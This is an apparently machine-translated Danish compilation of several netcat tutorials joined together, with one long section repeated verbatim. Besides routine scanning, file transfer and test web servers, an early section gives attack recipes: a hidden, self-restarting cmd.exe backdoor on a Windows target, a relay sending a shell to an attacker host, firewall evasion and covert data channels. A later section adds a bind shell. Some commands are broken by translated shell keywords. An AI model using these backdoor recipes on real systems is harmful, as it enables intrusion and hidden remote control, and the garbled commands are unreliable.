Netcat noget efter 4. Brug af Netcat til at oprette og teste TCP og UDP forbindelser på VPS

Hovedformålet med netcat-værktøjet (eller 'nc', som den tilsvarende eksekverbare fil kaldes) er at give brugeren mulighed for at overføre data over netværket ved hjælp af TCP- eller UDP-transportprotokollen. Derudover kan netcat udføre flere andre interessante funktioner, såsom scanning af UDP- eller TCP-porte.

I dette tilfælde kan brugeren især:

  • frit vælge bindingsporten (både lokal og fjern);
  • udføre (ikke udføre) frem- og tilbageoversættelse af DNS-navne;
  • bind netcat til enhver af netværksniveauadresserne på den lokale knude;
  • overføre inputmeddelelser til behandling til et andet program;
  • krypter data, der transmitteres (denne funktion er implementeret i netcat-versionen, den såkaldte cryptcat).

Grundlæggende driftstilstande

De grundlæggende driftstilstande for netcat-værktøjet er klienttilstand og servertilstand.

Den enkleste mulighed for at starte i klienttilstand:

nc værtsport

(hvis du skal bruge TCP-protokollen), eller

nc -u værtsport

(hvis du skal bruge UDP-protokollen).

Hvis indstillingen -u ikke er aktiveret, forsøger netcat umiddelbart efter start i denne tilstand at etablere en TCP-forbindelse til portporten på værtsknuden.

Netcats opgave er at overføre til host:port-stikket alt, hvad der kommer til den gennem standard INPUT-kanalen, og at udstede til standard-OUTPUT alt, hvad der kommer til den fra denne socket.

Den enkleste mulighed for at starte i servertilstand:

nc -l -p port

Efter start i denne tilstand venter netcat på anmodninger om at etablere en forbindelse til TCP-porten. Efter at have etableret en forbindelse, udsender den alt, hvad der kommer til den gennem denne forbindelse på standard OUTPUT-kanalen, og sender alt tilbage, der kommer til den gennem standard INPUT-kanalen.

Bruges til at forberede og udføre softwareangreb

Et så bredt formål med netcat-værktøjet åbner op for mange muligheder for dets brug. Når du forbereder og udfører softwareangreb, er det muligt at bruge netcat til at løse følgende problemer, for eksempel:

  • identifikation af tjenester leveret af netværksknuder (ved at scanne TCP- og UDP-porte);
  • identifikation af softwaretjenester, som netværksknuder leverer (ved at indsamle tokens);
  • indtrængen i netværksknuder eller forstyrrelse af tilgængeligheden af ​​tjenester, de leverer;
  • oprettelse af skjulte kanaler til styring af netværksknuder;
  • oprettelse af skjulte datatransmissionskanaler.

I de sidste to tilfælde er muligheden for at kryptere udvekslingen mellem klienten og netcat-serveren (implementeret i cryptcat) meget nyttig.

Brug af netcat til at trænge ind på netværksværter eller fjernafbryde tilgængeligheden af ​​de tjenester, de leverer

Penetration af en netværksknude omtales i to betydninger:

1) som om beslaglæggelse af autoriteten for brugeren af ​​en node (af en enhed, der ikke havde nogen autoritet vedrørende denne node);

2) hvordan man overvinder restriktioner på informationsudveksling med en node pålagt af en firewall (netværk) skærm.

netcat kan være nyttig i begge tilfælde.

Beslaglæggelse af magt muligt gennem et fjernangreb på en server, der tilhører målet for angrebet (ved at bruge f.eks. en serversårbarhed som et bufferoverløb). I dette tilfælde skal angriberen være i stand til at overføre visse data til serveren. Som regel er dette data, der ikke kan overføres ved hjælp af et almindeligt klientprogram (men er muligt med netcat, da netcat giver dig mulighed for at overføre alle data).

Trænge ind i en firewall (netværk) Netcats evne til at binde til enhver lokal port (aktiveret med -p-indstillingen) kan hjælpe. For eksempel, hvis netcat i klienttilstand binder til TCP-port 20 (ftp-data), vil firewalls i mange tilfælde tillade forbindelser til værten/værterne på det netværk, de beskytter.

For at forstyrre tilgængeligheden af ​​tjenester kan netcats evne til at overføre data til enhver server (f.eks. ukorrekte anmodninger, der fører til, at serveren fryser) bruges.

Brug af netcat til at skabe skjulte kontrolkanaler til netværksknuder

Lad os antage, at målet for angrebet er en vært, der kører MS Windows NT. Efter at have optrådt på angrebsmålet

nc –L -p xxxx -d -e cmd.exe

(hvor xxxx er et vilkårligt portnummer), får vi en skjult kontrolkanal for dette objekt. Her aktiverer -e-indstillingen en tilstand, hvor standard OUTPUT af netcats resultater er forbundet til cmd.exes standard INPUT, og standard OUTPUT for cmd.exes resultater og fejlmeddelelser er forbundet med netcats standard INPUT. Valgmuligheden -L har samme effekt som -l, med den forskel, at den specificerer, at netcat skal genstartes med de samme argumenter efter hver forbindelse er fuldført. Indstillingen -d (frigør) bruges til at skjule lanceringen (netcat opretter ikke vinduer og vises ikke på opgavelisten). En yderligere skjult effekt kan opnås ved at omdøbe netcat eksekverbare.

Du kan bruge denne kanal, hvis du for eksempel kører netcat på en anden node som følger:

nc troy xxxx

hvor troy er adressen eller navnet på angrebsmålet.

Muligheden -e er dog ikke altid understøttet af netcat-implementeringer. Hvis denne mulighed ikke understøttes, kan et lignende resultat opnås ved at køre to forekomster af netcat på målet for angrebet og på angriberens vært. For eksempel kan du bruge følgende scenarie. Kør på målet for angrebet:

nc -L -p xxxx -d | cmd.exe | nc odysseus åååå

hvor odysseus er adressen eller værtsnavnet på angriberen.

Og på angriberens node:

nc -l -p åååå

nc troy xxxx

Dette scenarie kaldes portvideresendelse . Vær opmærksom på den korrekte rækkefølge af startprogrammer (i denne tekst vises det forkert: serveren skal startes før klienten).

Dette script kan ændres. Kør for eksempel kun netcat på angrebsmålet i klienttilstand og på angriberens vært kun i servertilstand eller omvendt (medens du overholder den korrekte startrækkefølge: serveren skal starte før klienten).

Manipulering af netcats opstartstilstande, sammen med det korrekte valg af portnumre, kan i mange tilfælde overvinde en firewall (netværk), hvis sidstnævnte bruges til at beskytte målet for angrebet (f.eks. hvis ovenstående scenarie bruges, skal du vælge xxxx = 80 kan være vellykket i mange tilfælde (HTTP-serverport), åååå = 25 (SMTP-serverport)).

Brug af netcat til at skabe skjulte datakanaler

Overvej for eksempel, hvordan man bruger netcat til at overføre en fil fra socket troy:xxxx til socket mac:yyyy.

For at gøre dette skal du bare køre noget som dette på mac-noden:

nc -l -p åååå > godear

og på node troy:

nc -p xxxx mac åååå< prayer

Også her kan korrekt manipulation af netcat-starttilstande og portnumre hjælpe med at overvinde de begrænsninger, som firewalls pålægger.

I denne artikel vil jeg se på det populære netværksværktøj netcat og nyttige tricks, når du arbejder med det.


Netcat er et Unix-værktøj, der giver dig mulighed for at etablere TCP- og UDP-forbindelser, modtage data derfra og sende dem. På trods af dets anvendelighed og enkelhed ved mange ikke, hvordan man bruger det og omgår det ufortjent.


Ved at bruge dette værktøj kan du udføre nogle trin, når du udfører penetrationstest. Dette kan være nyttigt, når den angrebne maskine ikke har installerede pakker (eller tiltrækker opmærksomhed), der er begrænsninger (f.eks. IoT/Embedded-enheder) osv.


Hvad du kan gøre med netcat:

  • Scan porte;
  • Fremadgående havne;
  • Saml servicebannere;
  • Lyt til port (bind for omvendt forbindelse);
  • Download og upload filer;
  • Output rå HTTP-indhold;
  • Opret en mini-chat.

Generelt kan du ved hjælp af netcat erstatte nogle af Unix-værktøjerne, så dette værktøj kan betragtes som en slags mejetærsker til at udføre visse opgaver.

Praktiske eksempler

I mange tilfælde, hvis det er nødvendigt at kontrollere en bestemt vært, bruger de telnet eller deres egne servicetjenester til at identificere værten eller banneret. Sådan kan netcat hjælpe os:

Søger efter åben TCP-port 12345

$ nc -vn 192.168.1.100 12345
nc: opret forbindelse til 192.168.1.100 12345 (tcp) mislykkedes: Forbindelse afvist

$ nc -v 192.168.1.100 22
Tilslutning til 192.168.1.100 22 port lykkedes!
SSH-2.0-OpenSSH

Scanning af TCP-porte med netcat:

$ nc -vnz 192.168.1.100 20-24

Med en sådan scanning vil der ikke være nogen forbindelse til porten, men kun et output fra en vellykket forbindelse:


nc: connectx til 192.168.1.100 port 20 (tcp) mislykkedes: Forbindelse nægtet
nc: connectx til 192.168.1.100 port 21 (tcp) mislykkedes: Forbindelse nægtet
fundet 0 associationer
fundet 1 forbindelser:
1: flag=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rang info ikke tilgængelig
TCP aux info tilgængelig
Tilslutning til 192.168.1.100 port 22 lykkedes!
nc: connectx til 192.168.1.100 port 23 (tcp) mislykkedes: Forbindelsen blev afvist
nc: connectx til 192.168.1.100 port 24 (tcp) mislykkedes: Forbindelse afvist

Scanner UDP-porte.

For at scanne UDP-porte med nmap skal du bruge root-rettigheder. Hvis de ikke er der, kan netcat-værktøjet i dette tilfælde også hjælpe os:


$ nc -vnzu 192.168.1.100 5550-5560
Tilslutning til 192.168.1.100 port 5555 lykkedes!

Sender en UDP-pakke

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Dette kan være nyttigt, når du interagerer med netværksenheder.

Modtagelse af data på en UDP-port og udlæsning af modtagne data

$ nc -u localhost 7777

Efter den første besked stopper output. Hvis du har brug for at acceptere flere meddelelser, skal du bruge mens true:


$ mens sandt; do nc -u localhost 7777; Færdig

Filoverførsel. Ved at bruge netcat kan du både modtage filer og overføre dem til en fjernvært:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact som en simpel webserver.

Netcat kan fungere som en simpel webserver til at vise HTML-sider.


$ mens sandt; gør nc -lp 8888< index.html; done

Brug af en browser på: http://netcat host:8888/index.html. For at bruge standard webserverport nummer 80 skal du køre nc med root-rettigheder:


$ mens sandt; gør sudo nc -lp 80< test.html; done

Chat mellem noder

På den første knude (192.168.1.100):


$nc -lp 9000

På den anden knude:


$nc 192.168.1.100 9000

Efter udførelse af kommandoerne vil alle tegn, der er indtastet i terminalvinduet på en hvilken som helst node, vises i terminalvinduet på den anden node.

Omvendt skal

Ved hjælp af netcat kan du organisere en praktisk omvendt skal:


nc -e /bin/bash -lp 4444

Nu kan du oprette forbindelse fra fjernværten:


$nc 192.168.1.100 4444

Du bør ikke give op, hvis du ikke har visse værktøjer, ofte ret besværlige, nogle gange kan problemet løses med improviseret midler.

I denne artikel vil jeg se på det populære netværksværktøj netcat og nyttige tricks, når du arbejder med det.


Netcat er et Unix-værktøj, der giver dig mulighed for at etablere TCP- og UDP-forbindelser, modtage data derfra og sende dem. På trods af dets anvendelighed og enkelhed ved mange ikke, hvordan man bruger det og omgår det ufortjent.


Ved at bruge dette værktøj kan du udføre nogle trin, når du udfører penetrationstest. Dette kan være nyttigt, når den angrebne maskine ikke har installerede pakker (eller tiltrækker opmærksomhed), der er begrænsninger (f.eks. IoT/Embedded-enheder) osv.


Hvad du kan gøre med netcat:

  • Scan porte;
  • Fremadgående havne;
  • Saml servicebannere;
  • Lyt til port (bind for omvendt forbindelse);
  • Download og upload filer;
  • Output rå HTTP-indhold;
  • Opret en mini-chat.

Generelt kan du ved hjælp af netcat erstatte nogle af Unix-værktøjerne, så dette værktøj kan betragtes som en slags mejetærsker til at udføre visse opgaver.

Praktiske eksempler

I mange tilfælde, hvis det er nødvendigt at kontrollere en bestemt vært, bruger de telnet eller deres egne servicetjenester til at identificere værten eller banneret. Sådan kan netcat hjælpe os:

Søger efter åben TCP-port 12345

$ nc -vn 192.168.1.100 12345
nc: opret forbindelse til 192.168.1.100 12345 (tcp) mislykkedes: Forbindelse afvist

$ nc -v 192.168.1.100 22
Tilslutning til 192.168.1.100 22 port lykkedes!
SSH-2.0-OpenSSH

Scanning af TCP-porte med netcat:

$ nc -vnz 192.168.1.100 20-24

Med en sådan scanning vil der ikke være nogen forbindelse til porten, men kun et output fra en vellykket forbindelse:


nc: connectx til 192.168.1.100 port 20 (tcp) mislykkedes: Forbindelse nægtet
nc: connectx til 192.168.1.100 port 21 (tcp) mislykkedes: Forbindelse nægtet
fundet 0 associationer
fundet 1 forbindelser:
1: flag=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rang info ikke tilgængelig
TCP aux info tilgængelig
Tilslutning til 192.168.1.100 port 22 lykkedes!
nc: connectx til 192.168.1.100 port 23 (tcp) mislykkedes: Forbindelsen blev afvist
nc: connectx til 192.168.1.100 port 24 (tcp) mislykkedes: Forbindelse afvist

Scanner UDP-porte.

For at scanne UDP-porte med nmap skal du bruge root-rettigheder. Hvis de ikke er der, kan netcat-værktøjet i dette tilfælde også hjælpe os:


$ nc -vnzu 192.168.1.100 5550-5560
Tilslutning til 192.168.1.100 port 5555 lykkedes!

Sender en UDP-pakke

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Dette kan være nyttigt, når du interagerer med netværksenheder.

Modtagelse af data på en UDP-port og udlæsning af modtagne data

$ nc -u localhost 7777

Efter den første besked stopper output. Hvis du har brug for at acceptere flere meddelelser, skal du bruge mens true:


$ mens sandt; do nc -u localhost 7777; Færdig

Filoverførsel. Ved at bruge netcat kan du både modtage filer og overføre dem til en fjernvært:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact som en simpel webserver.

Netcat kan fungere som en simpel webserver til at vise HTML-sider.


$ mens sandt; gør nc -lp 8888< index.html; done

Brug af en browser på: http://netcat host:8888/index.html. For at bruge standard webserverport nummer 80 skal du køre nc med root-rettigheder:


$ mens sandt; gør sudo nc -lp 80< test.html; done

Chat mellem noder

På den første knude (192.168.1.100):


$nc -lp 9000

På den anden knude:


$nc 192.168.1.100 9000

Efter udførelse af kommandoerne vil alle tegn, der er indtastet i terminalvinduet på en hvilken som helst node, vises i terminalvinduet på den anden node.

Omvendt skal

Ved hjælp af netcat kan du organisere en praktisk omvendt skal:


nc -e /bin/bash -lp 4444

Nu kan du oprette forbindelse fra fjernværten:


$nc 192.168.1.100 4444

Du bør ikke give op, hvis du ikke har visse værktøjer, ofte ret besværlige, nogle gange kan problemet løses med improviseret midler.

Næsten hver Linux-distribution har et lille, iøjnefaldende hjælpeprogram. netkat, eller simpelthen nc. Dette program kan oprette TCP-sockets enten i servertilstand for at lytte efter en forbindelse eller i klienttilstand for at oprette forbindelse til en server. Og i sandhed er det overhovedet ikke ligegyldigt for netcat, om du skal bruge det som server eller som klient - dens opgave er kun at indsamle data fra stdin og overføre dem til den angivne netværksadresse.

Det enkleste eksempel på brug af netcat er at oprette en klient-server-chat. Selvom dette er en meget primitiv måde at oprette en chat på, viser den tydeligt, hvordan dette værktøj fungerer. De følgende eksempler vil antage, at maskinen, der opretter den inaktive socket (serveren), har en IP-adresse på 192.168.0.1. Så lad os oprette en chatserver, der lytter efter forbindelser på TCP-port 3333:

$ nc -l 3333

Nu kan vi oprette forbindelse til denne server fra en anden computer:

$nc 192.168.0.1 3333

I dette tilfælde fungerer tastaturet som stdin. Alt skrevet på tastaturet på serversiden vil blive overført til klientterminalen og omvendt.

Overførsel af filer

På nøjagtig samme måde kan du bruge netcat til at overføre filer mellem to computere. Ved hjælp af følgende kommando kan du oprette en server, der forbereder filen til overførsel:

Du kan hente filen backup.iso på en anden computer som følger:

$nc 192.168.0.1 3333 > backup.iso

Som du kan se, viser netcat ingen information om dataoverførselsprocessen. Dette kan være ret ubelejligt, når du arbejder med store filer. For at løse dette problem kan du bruge hjælpeprogrammet (fremskridtsvisning). I dette eksempel vil information om hastigheden og mængden af ​​overførte data blive vist i realtid på serversiden:

$ kat backup.iso | pv -b | nc -l 3333

Du kan vise statistik på klientsiden på lignende måde:

$nc 192.168.0.1 3333 | pv -b > backup.iso

Andre eksempler

Netcat-værktøjet kan også være nyttigt til at oprette et billede af en harddiskpartition med mulighed for at sende det til en ekstern server på farten:

$ dd if=/dev/hdb5 | gzip -9 | nc -l 3333

Og på en ekstern maskine kan du acceptere det oprettede billede sådan her:

$nc 192.168.0.1 3333 | pv -b > myhdb5partition.img.gz

Hvis du har brug for at sende en gruppe filer - for eksempel et sæt konfigurationsfiler - kan du kombinere netcat og tar-arkiveringsværktøjet:

$ tar -czf - /etc/ | nc -l 3333

Bindestregen som et filnavn i tar-parametrene er nødvendig for at udlæse outputtet fra arkiveren til stdin, som derefter omdirigeres til netcat. Du kan acceptere den oprettede sikkerhedskopi på en ekstern maskine på samme måde som beskrevet tidligere:

$nc 192.168.0.1 3333 | pv -b > mybackup.tar.gz

Sikkerhed

Det er klart, når netcat bruges på denne måde, transmitteres information over netværket i sin oprindelige ukrypterede form. For overførsel af ikke-kritiske data er dette ganske acceptabelt, men ved overførsel af værdifuld information er det klogt at bruge netcat i kombination med en SSH-tunnel.

Brug af en SSH-tunnel har to fordele:

  1. Information transmitteres inde i en krypteret tunnel, så den er godt beskyttet;
  2. Det er ikke nødvendigt at åbne yderligere porte på serveren i firewall-konfigurationen, da forbindelsen etableres via SSH

På serversiden er filen i netcat indstillet på nøjagtig samme måde som beskrevet tidligere:

$ kat backup.iso | nc -l 3333

Men på klientsiden forbinder vi til netcat-stikket og venter på forbindelser via en SSH-tunnel:

$ ssh -f -L 23333:127.0.0.1:3333 [e-mailbeskyttet] sove 10; \nc 127.0.0.1 23333 | pv -b > backup.iso

Det er klart, at der er andre måder at placere en forbindelse i en SSH-tunnel, men at oprette og bruge en tunnel på denne måde har en nyttig funktion, at tunnelen automatisk lukkes, når dataoverførslen gennem netcat slutter.

...og en bærbar portscanner

Utroligt nok kan netcat også bruges til at scanne åbne porte. Parameteren -z vil hjælpe til dette:

$ nc -z 192.168.0.1 80-90 Forbindelse til 192.168.0.1 80 port lykkedes!

I dette eksempel scannede netcat portområdet 80-90 og rapporterede, at port 80 var åben på den eksterne maskine.

Netcat-man-siderne indeholder også en række andre nyttige tips og interessante eksempler på brug af dette program.

|

Linux-systemet er kendt for det faktum, at de fleste distributioner sender et stort antal nyttige kommandolinjeværktøjer direkte med OS. Erfarne systemadministratorer kan udføre de fleste opgaver ved hjælp af indbyggede værktøjer uden behov for at installere yderligere software.

Denne vejledning er dedikeret til driften af ​​værktøjet . Denne "schweizerkniv" af netværksværktøjer kan være nyttig til at overvåge, teste og overføre data på tværs af netværksforbindelser.

Denne vejledning bruger Ubuntu 12.04, men generelt er netcat-værktøjet tilgængeligt på næsten enhver moderne distribution. Ubuntu kommer med en BSD-version af hjælpeprogrammet, som vil blive brugt i denne artikel. Andre versioner kan fungere anderledes eller give andre muligheder.

Generel syntaks

Som standard fungerer netcat ved at starte en TCP-forbindelse til fjernværten.

Grundlæggende syntaks:

netcat [indstillinger] værtsport

Denne kommando starter en TCP-forbindelse til den angivne vært på den angivne port. Grundlæggende fungerer det på samme måde som den gamle Linux-kommando, telnet. Vær opmærksom på, at din forbindelse vil blive gjort ukrypteret.

For at sende en UDP-pakke i stedet for at etablere en TCP-forbindelse, skal du bruge -u-indstillingen:

netcat -u værtsport

For at angive en række porte skal du angive den første og sidste port i området adskilt af en bindestreg:

netcat vært first_port-last_port

Typisk bruges denne kommando med yderligere flag.

På de fleste systemer kan du bruge netcat eller nc. De er udskiftelige, fordi de er aliaser for den samme kommando.

Brugtil port scanning

Oftest bruges netcat som portscanner.

Selvom Netcat sandsynligvis ikke er det smarteste værktøj til denne opgave (nmap er bedre egnet til dette i de fleste tilfælde), kan den udføre en simpel portscanning for hurtigt at identificere åbne porte.

For at gøre dette skal du angive en række porte, der skal scannes (som vist ovenfor), og også bruge -z-indstillingen, som scanner i stedet for at etablere forbindelser.

For eksempel, for at scanne alle porte op til port 1000, skal du køre:

netcat -z -v domæne.com 1-1000

Som du kan se, ud over -z-indstillingen, bruger denne kommando -v-indstillingen, takket være hvilken netcat viser mere detaljeret information.

Resultatet ser således ud:

nc: opret forbindelse til domain.com port 1 (tcp) mislykkedes: Forbindelse afvist
nc: opret forbindelse til domain.com port 2 (tcp) mislykkedes: Forbindelse afvist
nc: opret forbindelse til domain.com port 3 (tcp) mislykkedes: Forbindelse nægtet
nc: opret forbindelse til domain.com port 4 (tcp) mislykkedes: Forbindelse afvist
nc: opret forbindelse til domain.com port 5 (tcp) mislykkedes: Forbindelse nægtet
nc: opret forbindelse til domain.com port 6 (tcp) mislykkedes: Forbindelse afvist
nc: opret forbindelse til domain.com port 7 (tcp) mislykkedes: Forbindelse afvist
. . .
Forbindelse til domain.com 22-port lykkedes!
. . .

Som du kan se, giver denne kommando et ret detaljeret resultat og fortæller dig også, om scanningen af ​​hver enkelt port lykkedes eller ej.

Dette er praktisk, når du bruger et domænenavn.

Ved at angive de nødvendige IP-adresser kan du dog fremskynde scanningen betydeligt. Du kan derefter bruge flaget -n til at angive, at IP-adressen ikke skal løses ved hjælp af DNS:

netcat -z -n -v 111.111.111.111 1-1000

Returmeddelelser sendes til standardfejl. Standardfejlmeddelelser kan sendes til standardoutput for at filtrere resultaterne.

For at omdirigere standardfejl til standardoutput skal du bruge bash-syntaks 2> de resulterende resultater filtreres ved hjælp af grep:

netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep lykkedes
Tilslutning til 111.111.111.111 22 port lykkedes!

Så nu kan du se, at den eneste åbne port på fjernmaskinen i området 1-1000 er port 22, standard SSH-porten.

Meddelelseved hjælp af netcat

Netcat-kommandoen er ikke begrænset til at sende TCP- og UDP-pakker. Den kan også lytte på en port efter forbindelser og pakker, hvilket gør det muligt at forbinde to netcat-instanser i et klient-serverforhold.

Hvilken computer der er serveren, og hvilken der er klienten, er kun vigtig under den indledende opsætning. Når forbindelsen er etableret, er kommunikationen den samme i begge retninger.

På én maskine skal du bede netcat om at lytte på en bestemt port efter forbindelser. Dette gøres ved hjælp af parameteren -l, efterfulgt af portnummeret:

Ved at køre denne kommando lytter netcat efter TCP-forbindelser på port 4444. Nu vil en normal bruger (ikke root) ikke være i stand til at åbne nogen porte før 1000 (for serversikkerhed).

På den anden server skal du oprette forbindelse til den første maskine via den angivne port. Dette gøres på samme måde som vist tidligere:

netcat domæne.com 4444

Når først forbindelsen er etableret, kan det virke som om, der ikke er sket noget. Men nu kan du sende beskeder på begge sider af forbindelsen, og de vil være synlige på begge servere.

Skriv din besked og tryk ENTER. Meddelelsen vises på både den lokale og den eksterne server. Dette virker også omvendt.

Når du er færdig med at sende beskeder, skal du trykke på CTRL-D for at lukke TCP-forbindelsen.

Deling af filer ved hjælp af netcat

Efter at have gjort dig bekendt med de grundlæggende funktioner i værktøjet og udfyldt de foregående eksempler, kan du gå videre til mere komplekse opgaver.

Som allerede nævnt opretter netcat-værktøjet TCP-forbindelser, der kan bruges til at overføre næsten enhver form for information, ikke begrænset til beskeder skrevet af brugeren. Denne viden kan bruges til at gøre netcat til et filoverførselsprogram.

Igen skal du vælge én maskine for at lytte efter forbindelser. Men i stedet for at udskrive oplysningerne til skærmen (som i det foregående eksempel), vil netcat placere alle oplysningerne direkte i en fil:

netcat -l 4444 > modtaget_fil

På den anden computer skal du oprette en simpel tekstfil:

echo "Hej, dette er en fil" > original_fil

Du kan nu bruge denne fil som input til at oprette forbindelse til den lyttende computer. Filen vil blive overført, som om den var blevet skrevet interaktivt:

netcat domæne.com 4444< original_file

Som du kan se, har computeren, der ventede på forbindelsen, nu en ny fil kaldet "received_file", der indeholder de data, der er indtastet på den anden computer:

kat modtaget_fil
Hej, dette er en fil

Som du kan se, kan sådanne forbindelser nemt bruges til at overføre enhver form for information.

For eksempel kan du overføre indholdet af en hel mappe; For at gøre dette skal du oprette en unavngiven tarball, overføre den til fjernsystemet og pakke den ud i fjernmappen.

I den modtagende ende kan du bruge følgende kommando til at advare om, at filen skal modtages og pakkes ud:

netcat -l 4444 | tar xzvf -

Bindestregen i slutningen af ​​kommandoen betyder, at tarballen vil arbejde på standard input, som i øjeblikket sendes over netværket, hvis en forbindelse er etableret.

På den side, der indeholder den mappe, du vil overføre, skal du pakke den givne mappe ind i et arkiv og derefter sende den til den eksterne maskine ved hjælp af netcat:

tar -czf - * | netcat domæne.com 4444

Denne gang betyder bindestreg i tar-kommandoen, at indholdet af den aktuelle mappe (som angivet med *-symbolet) skal zippes og overføres, og derefter skrives resultatet til standardoutput.

Dette skrives derefter til TCP-forbindelsen, overføres til den anden side af forbindelsen og pakkes ud i den aktuelle mappe på fjerncomputeren.

Dette er blot et eksempel på overførsel af mere komplekse data fra en computer til en anden. Også almindeligt brugt er kommandoen dd, som opretter et diskbillede på den ene side og overfører det til fjerncomputeren. En sådan tilgang er dog ikke dækket i denne vejledning.

som en simpel webserver

Netcat-værktøjet er allerede blevet brugt til at overføre beskeder og filer. Den samme tilgang vil hjælpe dig med at bruge netcat som en simpel webserver. Dette kan være nyttigt til at teste færdige sider.

Først skal du oprette en HTML-fil på én server:

Følgende simple kode kan placeres i denne fil:



Testside


Niveau 1 overskrift


Underoverskrift


Normal tekst her




Gem og luk filen.

Denne fil kan ikke serveres på standardwebserverporten (80) uden root-rettigheder. Fordi som en normal bruger, indstil port 8888.

For at teste en side og se, hvordan den gengives, skal du skrive noget som:

netcat -l 8888< index.html

Indholdet kan nu ses i en browser ved at besøge:

http://server_IP:8888

Denne kommando udskriver siden, og derefter lukker netcat-forbindelsen. Når du forsøger at opdatere siden, forsvinder den.

Netcat kan tjene siden på ubestemt tid; For at gøre dette skal du gøre den sidste kommando cyklisk ved hjælp af linjen:

mens sandt; do nc -l 8888< index.html; done

Så vil siden fortsætte med at modtage forbindelser efter den første forbindelse er blevet afbrudt.

For at stoppe løkken skal du skrive CTRL-C.

Denne server giver dig mulighed for at se, hvordan siden gengives i browseren, men giver ikke bredere funktionalitet. Brug aldrig sådan en webserver til at betjene rigtige websteder: den er ikke sikker, og simple ting som links fungerer ikke altid korrekt.

Resultater

Denne tutorial introducerer de grundlæggende funktioner og brugen af ​​netcat. Da dette værktøj er alsidigt, kan det bruges til at diagnosticere problemer og teste den grundlæggende funktionalitet af TCP/UDP-forbindelser.

Derudover giver netcat dig mulighed for at kommunikere og udveksle information mellem forskellige computere, hvilket er meget vigtigt for hurtig brugerinteraktion. Ved at forenkle oprettelsen af ​​en forbindelse forsøger netcat-værktøjet at gøre netværksinteraktioner mellem computere mere bekvemme, hurtigere og forståelige.

Tags: ,